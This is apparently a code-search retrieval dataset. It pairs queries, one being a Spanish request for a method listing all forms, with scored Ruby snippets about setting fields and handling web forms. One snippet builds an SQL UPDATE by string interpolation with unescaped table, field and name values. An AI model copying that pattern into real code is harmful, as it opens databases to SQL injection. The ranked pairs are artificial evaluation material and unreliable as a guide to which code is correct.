[ { "docid": "849f8240554fad17cdbb718b4fa08be2", "score": "0.72269124", "text": "def set_field(name,value)\n begin\n field = find_field(name)\n field.Value = value.to_s if field\n rescue\n require 'pry'\n binding.pry\n nil\n end\n end", "title": "" }, { "docid": "a1bab4e8670330e701e8d56bab4846fc", "score": "0.71859556", "text": "def set_field(name, value)\n tag = Bindings::tags[name]\n Bindings::set_field fd, tag.id, tag.type, tag.serialize(value)\n end", "title": "" }, { "docid": "fcc32252ce0af665e4dcce3e12dcfce2", "score": "0.7133787", "text": "def set(name, value)\n if !has_field?(name)\n raise ArgumentError, \"#{self.class.name} has no field called #{name}\"\n end\n\n value = Typelib.from_ruby(value, @field_types[name])\n raw_set_field(name.to_s, value)\n\n rescue TypeError => e\n raise e, \"#{e.message} for #{self.class.name}.#{name}\", e.backtrace\n end", "title": "" }, { "docid": "520cd823bd6bf5b4eef6e7befc6eb7bf", "score": "0.7016444", "text": "def set_field!(name_or_id, *args)\n case name_or_id\n when Symbol\n tag = Bindings::tags[name_or_id]\n Bindings::set_field fd, tag.id, *args\n when Integer\n Bindings::set_field fd, name_or_id, *args\n end\n end", "title": "" }, { "docid": "bfefa19d41bbd6da02b5863e6509ed44", "score": "0.69363683", "text": "def set(name, value)\n puts [name, value, @fields].inspect\n @fields[name] = value\n end", "title": "" }, { "docid": "775c83629cab20789e9828a942c6ecf1", "score": "0.68860084", "text": "def set_field_value(code_name, value); field(code_name).try(:set_value_for, self, value) end", "title": "" }, { "docid": "1e2fad5f249aaab068ed299c36f39ee5", "score": "0.67772", "text": "def set_field(name, attr, value) \n field = @field_list[name]\n fail \"Bad name '#{name}' in MemberSearch\" unless field\n field[attr] = value\n end", "title": "" }, { "docid": "f6000405f5219324bb3d8005f6d4e64b", "score": "0.67683315", "text": "def set_attribute(name, value) #nodoc\n if name == :id\n return nil\n end\n if @attributes.key?(name)\n @attributes[name].replace(value)\n else\n @arbitrary[name] = value\n end\n end", "title": "" }, { "docid": "298337cdbf9ec36250046fc0ab9414fd", "score": "0.67511654", "text": "def set_value_for(name, value)\n self[name.to_sym].value = value\n end", "title": "" }, { "docid": "c2a7e9fd72280504fdb4e97739eecfba", "score": "0.67209154", "text": "def []=(field_name, value)\n f = field(field_name)\n if f\n f.value = value\n else\n add_field!(field_name, value)\n end\n end", "title": "" }, { "docid": "e728f6d690d9b03e28ff1f941a661e9c", "score": "0.6712571", "text": "def field_value=(value)\n super find_or_create_field_value(value)\n end", "title": "" }, { "docid": "013b1165443a6c7d0ff4c697200e0897", "score": "0.6687799", "text": "def set(name, value)\n send(\"_set_#{name}\", value)\n end", "title": "" }, { "docid": "98bafefc99c4d8b2fef4ed7c8b99aa38", "score": "0.66620606", "text": "def set(table, name, field, value)\n if field == 'familyname'\n field = 'family_id'\n family = queryFamilyByName(value)\n if family.count == 0\n add(FAMILY_TABLE, value)\n family = queryFamilyByName(value)\n end\n value = family[0]['id']\n end\n value = value.to_s().gsub(/'/,\"''\")\n\n @db.transaction()\n @db.execute(\"update #{table} set #{field} = '#{value}' where name = '#{name}'\")\n @db.commit()\n end", "title": "" }, { "docid": "6b3cd4025d30df78bc52dd7300bf90a0", "score": "0.6645513", "text": "def set(id, value)\n validate id => Integer\n @values[id] = value\n end", "title": "" }, { "docid": "45018179181518bf808cdd1ce556f66f", "score": "0.662469", "text": "def set_id(field, value)\n @fields_update[field] = {\"id\" => value}\n end", "title": "" }, { "docid": "ac40640cc44ea0f55efb2480d31cec36", "score": "0.65622634", "text": "def name=(value)\n value = self.class.sanitize_name(value)\n self[:_id] = value.upcase\n super(value)\n end", "title": "" }, { "docid": "211f6035673d373e799198234a122c17", "score": "0.65532565", "text": "def set_name(field, value)\n @fields_update[field] = {\"name\" => value}\n end", "title": "" }, { "docid": "f1e56080700960ae4eb2447e185d691b", "score": "0.6550106", "text": "def set name, value\n model.send \"#{name}=\", value\n end", "title": "" }, { "docid": "8141e66b16ad15fbd481819a454be8cf", "score": "0.6540197", "text": "def field_write(name, value)\n @fields[name.to_s] = value\n end", "title": "" }, { "docid": "8141e66b16ad15fbd481819a454be8cf", "score": "0.6540197", "text": "def field_write(name, value)\n @fields[name.to_s] = value\n end", "title": "" }, { "docid": "88e300706fee1084843a0bdd6173913b", "score": "0.65377915", "text": "def set_value(field, value)\n raise ArgumentError, \"Field \\\"#{field}\\\" is not a valid name according to the row type.\" unless sql_row_type.field_names.include?(field)\n @row_values[field] = value\n end", "title": "" }, { "docid": "0b81c6e3742f07cb11b2f364ec6bdb8c", "score": "0.65220815", "text": "def name=(value); end", "title": "" }, { "docid": "5b0d02a3d15f0e3fef7dc873320f66e5", "score": "0.64925474", "text": "def []=(field_name, value)\n field = get_or_create_field_node(field_name)\n field.content = value.to_s\n end", "title": "" }, { "docid": "f231a613a2f9c7044306c43b4e462517", "score": "0.6490671", "text": "def raw_set(name, value)\n @data[name.to_sym] = value\n end", "title": "" }, { "docid": "c20a0cad88f67425eb7f71018717f88d", "score": "0.6426612", "text": "def []= (name, value)\n field = schema.fields[name.to_s] || FieldDefinition.new(name, :type => value.class)\n write_attribute(field, value, self)\n end", "title": "" }, { "docid": "52fe3aad11ea2fb8b1d75c28aa8f38d9", "score": "0.64181036", "text": "def set(name, value)\n value.copy_to(get(name))\n end", "title": "" }, { "docid": "ad698e75c29724d59d4d19a393481559", "score": "0.6409179", "text": "def _set_value(name, value)\n @params[name.to_s] = value\n end", "title": "" }, { "docid": "3f6d7621fa27596186416b705a7c5f5d", "score": "0.64036524", "text": "def set_referenced_id(name, value)\n send(\"_#{name}=\", @struct, value)\n end", "title": "" }, { "docid": "882e6a6e00c04227cfefbd21d55994de", "score": "0.63942397", "text": "def set_field(field_name, field_value)\n send(\"#{field_name}=\", field_value)\n end", "title": "" }, { "docid": "ff4d348a8b5fb748b4419155e30c02a0", "score": "0.63846135", "text": "def set(name, value)\n @named_values[name] = value\n end", "title": "" }, { "docid": "fd0f03bd8ede47ca2d67c9ad97e17bf9", "score": "0.63802254", "text": "def assign(name, value)\n resolve(name).record[name] = value\n value\n end", "title": "" }, { "docid": "0850b042b6ead09447624059bf8cf295", "score": "0.63604224", "text": "def set_value(object, new_value)\n if type == :to_many\n raise '[Xcodeproj] Set value called for a to-many attribute'\n end\n object.send(\"#{name}=\", new_value)\n end", "title": "" }, { "docid": "a3ac4bc26a1fcae492b91595bf2f93a9", "score": "0.635759", "text": "def set_value(attribute_id, value)\n get_custom_value_hash\n if @custom_value_hash[attribute_id].nil?\n create_value(attribute_id, value)\n else\n if value && @custom_value_hash[attribute_id] != value\n sql = \"UPDATE #{CustomValue.table_name} SET #{::Person::_(:value, :custom_value)} = '#{quote_string(value)}'\n WHERE #{::Person::_(:person_id, :custom_value)} = #{id}\n AND #{::Person::_(:custom_attribute_id, :custom_value)} = #{attribute_id}\"\n CustomValue.connection.execute(sql)\n @custom_value_hash[attribute_id] = value\n end\n end\n value\n end", "title": "" }, { "docid": "dd1ce3bb5b3998e080c8032a1fb9a24e", "score": "0.6353657", "text": "def set(id, value)\n validate id => Integer, value => [FalseClass, TrueClass]\n @values[id] = value\n end", "title": "" }, { "docid": "cfc62c9a8a751db435dad5136be55e78", "score": "0.63288105", "text": "def id=(value); end", "title": "" }, { "docid": "68c734a31e86344cc082cf58a954a37d", "score": "0.63259137", "text": "def object_set_attribute(name, value)\n # TODO handle selection empty error\n execute(\"object-set-attribute:#{name},#{value}\")\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.6319929", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.6319929", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.63192856", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.63192856", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.63192856", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.63192856", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.63192856", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.63192856", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.63192856", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "17a1e1534c125337985dc064bcad0f20", "score": "0.63190615", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "f051a2a80f528362703f11859991884e", "score": "0.6289448", "text": "def set_value\n @value = Value.find(params[:id])\n end", "title": "" }, { "docid": "f051a2a80f528362703f11859991884e", "score": "0.6289448", "text": "def set_value\n @value = Value.find(params[:id])\n end", "title": "" }, { "docid": "f051a2a80f528362703f11859991884e", "score": "0.6289448", "text": "def set_value\n @value = Value.find(params[:id])\n end", "title": "" }, { "docid": "a4b3b40b2b35ebf50c0574a313f9fa6f", "score": "0.62810713", "text": "def set(name, value)\n found = attribute(name)\n\n if found\n found.value = value\n else\n if name.include?(':')\n ns, name = name.split(':')\n else\n ns = nil\n end\n\n attr = Attribute.new(\n :name => name,\n :namespace_name => ns,\n :value => value\n )\n\n add_attribute(attr)\n end\n end", "title": "" }, { "docid": "61aec03f59cb959adddcb09a4657480c", "score": "0.6280587", "text": "def set_Id(value)\n set_input(\"Id\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.6275861", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.6274986", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.6274346", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.6274346", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.6274346", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.6274346", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.6274346", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" }, { "docid": "71b2f719487166994f69ae06165fcd42", "score": "0.627301", "text": "def set_ID(value)\n set_input(\"ID\", value)\n end", "title": "" } ]
a3645c7a21ddc46ad084a203d3f8cac6
GET /forms Metodo que lista todos los formularios Parametros de entrada: Ninguno
[ { "docid": "80abfb23a0d8c570cd9f8b300fddf527", "score": "0.6324234", "text": "def index\n @forms = Form.all\n end", "title": "" } ]
[ { "docid": "312798fa69ee7bcd7be50e37da3e8505", "score": "0.74930453", "text": "def retrieve_forms()\n start.uri('/api/form')\n .get()\n .go()\n end", "title": "" }, { "docid": "61bf046c90b5fe93f82cec84f88ec5f9", "score": "0.7107778", "text": "def retrieve_form_fields()\n start.uri('/api/form/field')\n .get()\n .go()\n end", "title": "" }, { "docid": "2a9f9a918784133d85da4fc41bba671e", "score": "0.69109774", "text": "def forms\n if @forms.nil?\n @forms = []\n @data.xpath('/verbs/meta/forms/form').each do |form|\n @forms << form.text\n end\n end\n \n @forms\n end", "title": "" }, { "docid": "e95c6a392c134a6216c43bd8f8f2603c", "score": "0.68393123", "text": "def index\n @formulario_fields = FormularioField.all\n end", "title": "" }, { "docid": "76b083dce58ba5fbd910396e0a7072c8", "score": "0.6704377", "text": "def forms\n get(:forms)['Forms'].map do |details|\n Form.new(details['Url'], :party => self, :details => details)\n end\n end", "title": "" }, { "docid": "c992e9823c64bc2f05033b6a0e0d5d6f", "score": "0.665602", "text": "def get_forms()\r\n jssh_socket.send(\"var element_forms = #{DOCUMENT_VAR}.forms; element_forms.length;\\n\", 0)\r\n length = read_socket().to_i\r\n forms = Array.new(length)\r\n\r\n for i in 0..length - 1 do\r\n forms[i] = Form.new(@container, :jssh_name, \"element_forms[#{i}]\")\r\n end\r\n return forms\r\n end", "title": "" }, { "docid": "780f64b49a694a898c2b87620ee1e2ea", "score": "0.66186494", "text": "def index\n @formularios = Formulario.all\n end", "title": "" }, { "docid": "780f64b49a694a898c2b87620ee1e2ea", "score": "0.66186494", "text": "def index\n @formularios = Formulario.all\n end", "title": "" }, { "docid": "c057d4ececec4c43930d36289d8e283b", "score": "0.65443516", "text": "def index\n @request_forms = RequestForm.all\n end", "title": "" }, { "docid": "0f44d1f53ee4c517ec562be6e9cae599", "score": "0.6540763", "text": "def index\n @formularios = Formulariocontacto.all()\n end", "title": "" }, { "docid": "7506ad8f36cdccee76054d235e73154e", "score": "0.65391684", "text": "def contact_form_fields\n json = client.make_request(\"contactformulieren/#{id}/velden\")\n a = []\n for element in json\n a << Recras.parse_json(json: element, endpoint: \"velden\", client: client)\n end\n return a\n end", "title": "" }, { "docid": "4a515b31d52efc705d184c6eccf39a15", "score": "0.6489979", "text": "def for_forms\n ret = []\n @hdoc.search(\"//form\").each { |f| ret << Form.new(f) }\n ret\n end", "title": "" }, { "docid": "80f2a28a8619903b7abdb77b17bc7ca1", "score": "0.64329743", "text": "def index\n @formulatios = Formulatio.all\n end", "title": "" }, { "docid": "d1774b49ad59e09a0e6d08a3925a9225", "score": "0.64030385", "text": "def forms\n @forms ||= []\n end", "title": "" }, { "docid": "41571d061b4f108765e71be31bb54501", "score": "0.6382131", "text": "def index #retirar\n @pergunta_forms = PerguntaForm.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pergunta_forms }\n end\n end", "title": "" }, { "docid": "4ae8e1787123de3180b10dd641e1c0f2", "score": "0.6376718", "text": "def list_forms\n @form_list = Form.all\n @alt_forms = Aform.all\n end", "title": "" }, { "docid": "25c8346318942f6151606ea6d8b2e546", "score": "0.63744587", "text": "def formulario_membros\n \n @comites = Comite.find(:all,:select=>\"id,nome\") #select id,nome from ...\n @comite = Comite.find_by_id(params[:id]) #seleciona o comite pelo o id que esta no request\n \n @formulario = @comite.formularios.formulario_activo(1) #vai buscar o formulario que esta activo\n\n @recrutamento = @formulario.recrutamento unless @formulario.nil?\n \n @perguntum = Perguntum.new\n @pergunta_form = PerguntaForm.new\n\n end", "title": "" }, { "docid": "9bc9e794190f40e09f6a71a5d28685dd", "score": "0.63667727", "text": "def index\n @_forms = Form.all\n end", "title": "" }, { "docid": "33e319d090f0e0b14ec9050791e34dbf", "score": "0.6360054", "text": "def index\n @form_uni_seguros = FormUniSeguro.all\n end", "title": "" }, { "docid": "3a7ab0e4e408026078f239b2709fe35d", "score": "0.62817085", "text": "def get_form_fields\n params = Hash.new\n response = @mailapi_call.executeMethod('getFormFields', params)\n return response\n end", "title": "" }, { "docid": "fbd1b3f75b38cefafd0d740d1cfe61d8", "score": "0.6269661", "text": "def forms\n @forms = driver.find_elements(:tag_name, 'form')\n @forms.map do |form|\n Metallize::Form.new(driver, form, metz)\n end\n end", "title": "" }, { "docid": "96ab26500994ecf82102b624af38a970", "score": "0.62453306", "text": "def index\n @formas_de_pagos = FormasDePago.all\n end", "title": "" }, { "docid": "a36cb96170596f716074702d573d0461", "score": "0.62238497", "text": "def index\n @form_requests = FormRequest.all\n end", "title": "" }, { "docid": "c37889db9b785c522b7740b8691390cb", "score": "0.62230575", "text": "def index\n @formulariosobservaciones = Formulariosobservacion.all\n end", "title": "" }, { "docid": "7548b400158ace234cf44cc8473cb070", "score": "0.6220525", "text": "def all(params = {})\n @client.make_request(:get, 'scan_forms', MODEL_CLASS, params)\n end", "title": "" }, { "docid": "4792ff2607a0f377c907c45051aba815", "score": "0.6219606", "text": "def index\n @formacaos = Formacao.all\n end", "title": "" }, { "docid": "1fdff9e967ae9ee8a8bd5cb4d4442e01", "score": "0.62161285", "text": "def show_forms\n if allForms = document.forms\n count = allForms.length\n puts \"There are #{count} forms\"\n for i in 0..count-1 do\n wrapped = FormWrapper.new(allForms.item(i))\n puts \"Form name: #{wrapped.name}\"\n puts \" id: #{wrapped.id}\"\n puts \" method: #{wrapped.method}\"\n puts \" action: #{wrapped.action}\"\n end\n else\n puts \"No forms\"\n end\n end", "title": "" }, { "docid": "1fdff9e967ae9ee8a8bd5cb4d4442e01", "score": "0.62161285", "text": "def show_forms\n if allForms = document.forms\n count = allForms.length\n puts \"There are #{count} forms\"\n for i in 0..count-1 do\n wrapped = FormWrapper.new(allForms.item(i))\n puts \"Form name: #{wrapped.name}\"\n puts \" id: #{wrapped.id}\"\n puts \" method: #{wrapped.method}\"\n puts \" action: #{wrapped.action}\"\n end\n else\n puts \"No forms\"\n end\n end", "title": "" }, { "docid": "629f28da1c78f22560d0db193b81245b", "score": "0.61860657", "text": "def index\n respond_with @current_user.forms\n end", "title": "" }, { "docid": "708cb4ee03e109797d5779bcba86a2e0", "score": "0.6170703", "text": "def index\n @formuls = Formul.all\n end", "title": "" }, { "docid": "7ee1e6af4b458dccd67e36fd6e79cc7c", "score": "0.61232626", "text": "def index\n @formularios = Formulario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @formularios }\n end\n end", "title": "" }, { "docid": "ccdabaa3f6740a73fba47a04c6327e25", "score": "0.61210394", "text": "def get_form_fields\n begin\n \n str_uri = $product_uri + '/pdf/' + @filename + '/feilds'\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n \n response_stream = RestClient.get(str_signed_uri, {:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n return stream_hash['Fields']['List']\n \n rescue Exception=>e\n print e\n end\n end", "title": "" }, { "docid": "50b39996adf86f93390893c4305b6934", "score": "0.61144584", "text": "def index\n @forma_pagamentos = FormaPagamento.all\n end", "title": "" }, { "docid": "50b39996adf86f93390893c4305b6934", "score": "0.61144584", "text": "def index\n @forma_pagamentos = FormaPagamento.all\n end", "title": "" }, { "docid": "7b0f1b576870aa376bbd52b522fcf1c6", "score": "0.61030555", "text": "def show\n @fields = FormularioField.where \"formulario_id =?\", @formulario.id\n end", "title": "" }, { "docid": "6343259355f2ff19b9c2a2a143e404ec", "score": "0.60747933", "text": "def index\n @programa_formacions = ProgramaFormacion.all\n end", "title": "" }, { "docid": "f813cbf7bcecabcfa0631ade7f96588e", "score": "0.6033675", "text": "def formulario_estagios\n @comites = Comite.find(:all,:select=>\"id,nome\") #select id,nome from ...\n @comite = Comite.find_by_id(params[:id]) #seleciona o comite pelo o id que esta no request\n \n @formulario = @comite.formularios.formulario_activo(2) #vai buscar o formulario que esta activo de estagio que é o 2\n @recrutamento = @formulario.recrutamento unless @formulario.nil?\n \n @perguntum = Perguntum.new\n @pergunta_form = PerguntaForm.new\n \n end", "title": "" }, { "docid": "629cd4d2e7a1fba0efd4815a423c4c12", "score": "0.603338", "text": "def index\n @caracteristica_forma_contactos = CaracteristicaFormaContacto.all\n end", "title": "" }, { "docid": "b46756c70027a4ed02ad7df74f022023", "score": "0.60250854", "text": "def formulario_params\n params.require(:formulario).permit(lista_params)\n end", "title": "" }, { "docid": "f8126f6863a3467d6c29ffd3533aecd4", "score": "0.6022056", "text": "def legal_form\n ::Registeruz::Api::Codebook.find('pravne-formy', @body['pravnaForma'])\n end", "title": "" }, { "docid": "ce64c704c52be2ba0ece6bd3db24251a", "score": "0.6020331", "text": "def list_ava_file_forms(options={}) path = \"/api/v2/definitions/avafileforms\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "edb1ac74be4c26d5b18ee72fc71c4333", "score": "0.6015372", "text": "def leer\n @formularios = params[:id]\n @formularios = Formulariocontacto.where(id: @formularios)\n end", "title": "" }, { "docid": "691c9149a5df074f7a6276602ca9f480", "score": "0.6009338", "text": "def form_names\n forms.map(&:name).join(', ')\n end", "title": "" }, { "docid": "691c9149a5df074f7a6276602ca9f480", "score": "0.6009338", "text": "def form_names\n forms.map(&:name).join(', ')\n end", "title": "" }, { "docid": "691c9149a5df074f7a6276602ca9f480", "score": "0.6009338", "text": "def form_names\n forms.map(&:name).join(', ')\n end", "title": "" }, { "docid": "3fb5e84a0d46640e59fd63d55464d8b7", "score": "0.60084903", "text": "def get_forms\r\n Form.where(\"opportunity_id = ?\", opportunity_id).all\r\n end", "title": "" }, { "docid": "508d9416238b03e71448e0c98ec652c6", "score": "0.6006969", "text": "def new\n @pergunta_form = PerguntaForm.new\n @comite = Comite.find(current_comite)\n @formulario = @comite.formularios.where('estado = 1 and tipo = 1')[0]\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pergunta_form }\n end\n end", "title": "" }, { "docid": "41368843195c5b9ff12a77c64fdb713b", "score": "0.60068303", "text": "def index\n @basic_forms = BasicForm.all\n end", "title": "" }, { "docid": "e7c66d5e878645b7d05ce6a92a62d3a1", "score": "0.5986266", "text": "def index\n @forms_responses = FormsResponse.all\n end", "title": "" }, { "docid": "41f2a5954222a50dbdad4c1051c9d3bc", "score": "0.59808075", "text": "def index\n @formas_pagos = FormasPago.all\n end", "title": "" }, { "docid": "2ce4631f2a6e17a1a888a1da7deefcba", "score": "0.5969528", "text": "def index\n @form_list = DynamicForm.find(:all)\n end", "title": "" }, { "docid": "eeb21bdc3dfd967fb0dbf784a8763e0c", "score": "0.596555", "text": "def mostra_carrinho(*args)\n \n carrinho = session[:carrinho]\n \n result = \"<form target='pagseguro' method='post' action='https://pagseguro.uol.com.br/security/webpagamentos/webpagto.aspx'>\\n\"\n result << \"<input type='hidden' name='email_cobranca' value='#{email}' />\\n\"\n result << \"<input type='hidden' name='tipo' value='CP'/>\\n\"\n result << \"<input type='hidden' name='moeda' value='BRL' />\\n\"\n \n if carrinho\n carrinho.values.each_with_index {|produto_quantidade, i|\n i += 1\n produto = produto_quantidade[:produto]\n result << \"<input type='hidden' name='item_id_#{i}' value='#{produto.id}' />\\n\"\n result << \"<input type='hidden' name='item_descr_#{i}' value='#{produto.descricao}' />\\n\"\n result << \"<input type='hidden' name='item_valor_#{i}' value='#{produto.valor}' />\\n\"\n result << \"<input type='hidden' name='item_quant_#{i}' value='#{produto_quantidade[:quantidade]}' />\\n\"\n }\n end\n \n if args and args.first.instance_of? Hash and args.first.keys.first == :mostrar_dados_cliente\n result << '''\n <label>Nome </label><input type=\"input\" name=\"cliente_nome\" value=\"\" /><br />\n <label>CEP </label><input type=\"input\" name=\"cliente_cep\" value=\"\" /><br />\n <label>Endereco </label><input type=\"input\" name=\"cliente_end\" value=\"\" /><br />\n <label>Numero </label><input type=\"input\" name=\"cliente_num\" value=\"\" /><br />\n <label>Complemento </label><input type=\"input\" name=\"cliente_compl\" value=\"\" /><br />\n <label>Bairro</label><input type=\"input\" name=\"cliente_bairro\" value=\"\" /><br />\n <label>Cidade </label><input type=\"input\" name=\"cliente_cidade\"value=\"\" /><br />\n <label>UF </label><input type=\"input\" name=\"cliente_uf\" value=\"\" /><br />\n <label>Pais </label><input type=\"input\" name=\"cliente_pais\" value=\"\" /><br />\n <label>DDD </label><input type=\"input\" name=\"cliente_ddd\" value=\"\" /><br />\n <label>Telefone </label><input type=\"input\" name=\"cliente_tel\" value=\"\" /><br />\n <label>Email </label><input type=\"input\" name=\"cliente_email\" value=\"\" /><br />\n '''\n end\n \n result << \"\"\"<input type='image' src='https://pagseguro.uol.com.br/Security/Imagens/btnfinalizaBR.jpg' \n name='submit' alt='Pague com PagSeguro - é rápido, grátis e seguro!' />\"\"\"\n \n result << \"</form>\"\n end", "title": "" }, { "docid": "f3834377ddf3e74a7d30b2b666f427ca", "score": 